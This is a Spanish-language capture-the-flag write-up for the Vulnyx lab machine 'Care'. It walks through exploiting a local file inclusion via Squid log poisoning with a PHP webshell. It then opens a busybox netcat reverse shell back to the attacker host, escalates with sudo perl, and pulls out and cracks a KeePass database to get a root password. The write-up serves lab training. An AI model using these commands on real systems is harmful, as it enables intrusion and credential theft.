Write-up: Máquina Care (Vulnyx)
Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.68
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.68
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.68 -sVC
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22, 80 y 3128.
Comprobamos que es lo que corre por el puerto 80.
Investigamos un poco toda la pagina web, por los diferentes apartados.
Nos damos cuenta que en el apartador about en la url de que page.php incluye el fichero .html como un parámetro, siendo la pagina web vulnerable a Local File Inclusion (LFI), intentamos acceder a algún fichero en local del propio servidor.
Conseguimos leer el fichero /etc/passwd.
Probamos también si podemos leer algún fichero .log, pero al leer el fichero /var/log/apache2/access.log no lo permite y muestra una alerta de seguridad.
En el puerto 3128 corre un Squid, busco la ruta de archivos .log de Squid, e intentamos acceder.
Conseguimos también leer al fichero /var/log/squid/access.log, por lo tanto, la pagina es vulnerable a Log Poisoning o envenenamiento de log.
A continuación, con la ayuda de la herramienta curl y a traves del proxy, inyectamos una webshell en PHP en el fichero .log desde la cabecera User-Agent, para ello ejecutamos el siguiente comando:
$ curl -sX GET -x "http://10.0.2.68:3128" "http://127.0.0.1:80" -A '<?php system($_GET["cmd"]); ?>'
Conseguimos ejecutar comandos como el usuario www-data.
A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:
$ nc -lvnp 443
Ejecutamos la siguiente reverse shell en busybox y la pegamos en el parámetro cmd de la siguiente manera.
http://10.0.2.68/page.php?i=/var/log/squid/access.log&cmd=busybox nc 10.0.2.4 443 -e bash
Obtenemos una shell como www-data.
A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario perl que lo podemos ejecutar como el usuario dorian. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.
Lo ejecutamos de la siguiente manera:
$ sudo -u dorian /usr/bin/perl -e 'exec "/bin/sh";'
Enumerando el sistema nos encontramos con un directorio oculto .bak, y dendro de el, el fichero data.txt.
Comprobamos de que tipo de archivo se trata, para ello ejecutamos el siguiente comando:
$ file data.txt
Se trata de una base de datos (KDBX) del gestor de contraseñas KeePass, a continuación, nos transferimos este fichero a nuestra máquina kali, para realizar esto en la maquina victima nos montamos un servidor HTTP con python, para ello ejecutamos el siguiente comando:
$ python3 -m http.server 1234
En nuestra maquina kali nos descargamos este fichero y le cambiamos la extensión por .kdbx, para ello ejecutamos los siguientes comandos:
$ wget http://10.0.2.68:1234/data.txt
$ mv data.txt data.kdbx
Con la ayuda de la herramienta KDBXcrack intentamos obtener la contraseña de la base de datos, nos la descargamos, le damos permisos de ejecución, y la ejecutamos de la siguiente manera:
$ chmod +x KDBXcrack
./KDBXcrack -f data.kdbx -w rockyou.txt
Abrimos la base de datos con el gestor de contraseñas KeePass e introducimos la contraseña obtenida anteriormente.
Obtenemos la contraseña r00tB0$$123! del usuario root.















